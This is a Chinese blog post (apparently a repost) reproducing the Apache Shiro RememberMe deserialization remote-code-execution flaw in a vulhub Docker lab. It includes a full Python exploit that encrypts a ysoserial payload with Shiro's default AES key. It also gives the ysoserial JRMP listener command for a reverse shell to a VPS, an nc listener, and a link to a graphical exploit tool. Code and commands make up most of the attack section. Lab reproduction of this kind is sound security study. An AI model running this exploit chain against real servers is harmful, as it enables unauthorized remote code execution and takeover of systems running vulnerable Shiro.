当前位置:首页 » 《休闲阅读》 » 正文

shiro反序列化漏洞复现_94小菜

14 人参与  2022年01月28日 09:10  分类 : 《休闲阅读》  评论

点击全文阅读


目录

  • 简介:
  • 靶场环境
  • 漏洞复现
    • 一、手工复现
    • 二、图形化工具

简介:

Apache Shiro是一个强大易用的Java安全框架,提供了认证、授权、加密和会话管理等功能。Shiro框架直观、易用,同时也能提供健壮的安全性
漏洞原理:
Apache Shiro框架提供了记住密码的功能(RememberMe),用户登录成功后会生成经过加密并编码的cookie。在服务端对rememberMe的cookie值,先base64解码然后AES解密再反序列化,就导致了反序列化RCE漏洞。
那么,Payload产生的过程:
命令=>序列化=>AES加密=>base64编码=>RememberMe Cookie值
在整个漏洞利用过程中,比较重要的是AES加密的密钥,如果没有修改默认的密钥那么就很容易就知道密钥了,Payload构造起来也是十分的简单
影响版本: Apache Shiro < 1.2.4
漏洞挖掘: 响应包中包含rememberMe=deleteMe字段

靶场环境

vuluhub:自行百度
在这里插入图片描述
使用centos系统,进行docker进行部署,进入上图文件夹,执行如下命令,如下图所示为成功

docker-compose up -d   #启动
docker-compose ps      #查看运行状态

在这里插入图片描述

漏洞复现

一、手工复现

访问ip+8080端口,是一个登录页面
在这里插入图片描述
使用burp抓取当前页面数据包,在cookie中添加rememberMe=1,在响应包中显示Set-Cookie: rememberMe=deleteMe,说明存在shiro框架,可能存在漏洞
在这里插入图片描述在这里插入图片描述
1.通过ysoserial中JRMP监听模块,监听1099端口并执行反弹shell命令
在VPS中执行:

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections5 "反弹 shell 的命令"

注意:
1) 反弹 shell 的命令需要进行编码,在线转换网址:http://www.jackson-t.ca/runtime-exec-payloads.html
在这里插入图片描述

2) CommonsCollections5,数字5可换成1-12其中之一

  1. 生成payload(cookie)
python exp.py 公网 vps:1099

在这里插入图片描述
exp.py,python代码

import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES


def encode_rememberme(command):
    popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
    iv = uuid.uuid4().bytes
    encryptor = AES.new(key, AES.MODE_CBC, iv)
    file_body = pad(popen.stdout.read())
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext

if __name__ == '__main__':
    payload = encode_rememberme(sys.argv[1])   
print "rememberMe={0}".format(payload.decode())
  1. VPS开启nc监听
nc -nvlp 端口   #端口,就是上面写反弹shell的端口
  1. 在burp,cookie中插入payload
    在这里插入图片描述
  2. 此时vps接收到shell
    在这里插入图片描述

二、图形化工具

下载地址: https://github.com/feihong-cs/ShiroExploit-Deprecated/releases/tag/v2.51
使用方法: 输入待测地址,默认即可
在这里插入图片描述
在这里插入图片描述
发现key了,说明存在漏洞
在这里插入图片描述
执行下whoami,应该是成功了,但是木有回显
在这里插入图片描述
执行下反弹shell,nc监听4399端口
在这里插入图片描述
成功接收shell
在这里插入图片描述


点击全文阅读


本文链接:http://zhangshiyu.com/post/34025.html

漏洞  复现  端口  
<< 上一篇 下一篇 >>

  • 评论(0)
  • 赞助本站

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。

关于我们 | 我要投稿 | 免责申明

Copyright © 2020-2022 ZhangShiYu.com Rights Reserved.豫ICP备2022013469号-1